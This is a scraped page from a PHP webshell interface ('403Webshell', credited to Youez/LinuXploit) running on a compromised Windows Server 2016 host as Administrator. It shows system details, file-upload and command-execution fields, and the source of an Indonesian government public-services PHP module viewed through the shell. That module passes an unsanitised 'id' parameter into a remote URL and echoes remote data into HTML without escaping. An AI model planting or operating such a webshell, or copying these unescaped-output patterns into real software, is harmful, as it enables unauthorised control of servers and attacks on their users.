403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/laragon/www/_yanblik/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/laragon/www/_yanblik/modules/baca_layanan_publik.php
<?php
$curl2 = curl_init();

curl_setopt_array($curl2, array(
	CURLOPT_URL => 'https://demo-profil.lumajangkab.go.id/web-service/pelayanan-publik/read_one/'.@$_GET['id'],
	CURLOPT_RETURNTRANSFER => true,
	CURLOPT_ENCODING => '',
	CURLOPT_MAXREDIRS => 10,
	CURLOPT_TIMEOUT => 0,
	CURLOPT_FOLLOWLOCATION => true,
	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
	CURLOPT_HTTPHEADER => array(
		'Token-Api: '.$token_anda/* token kominfo*/
	),
));

$response2 = curl_exec($curl2);
curl_close($curl2);

$json2 = json_decode($response2,true);
$satu = $json2['data'];
?>
<div class="row" style="margin-top: 50px">
	<div class="col-md-12">
		<div class="panel panel-default">
			<div class="panel-heading" style="height: 50px">
				<?= $satu['nama_layanan']?>
				<a href="index.php?p=daftar_layanan_publik" class="btn btn-warning btn-sm pull-right">Kembali</a>

			</div>
			<div class="panel-body">
				<div class="row">
					<div class="col-md-12">
						<?php if($satu['file_formulir'] != ''){ ?>
							<a href="<?= $satu['file_formulir']?>" class="btn btn-success">Download Formulir</a><br><br>
						<?php }
						$file = basename($satu['file_layanan']);
						$ext = pathinfo($file, PATHINFO_EXTENSION);
						if(in_array($ext,['jpg','jpeg','png'])){
							echo '<img src="'.$satu['file_layanan'].'" width="100%" >';
						}
						if($ext == 'pdf'){
						 echo '<iframe src="'.$satu['file_layanan'].'" frameborder="0" width="100%" height="550"></iframe>';

						}
						?>
					</div>

				</div>
			</div>
		</div>
	</div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit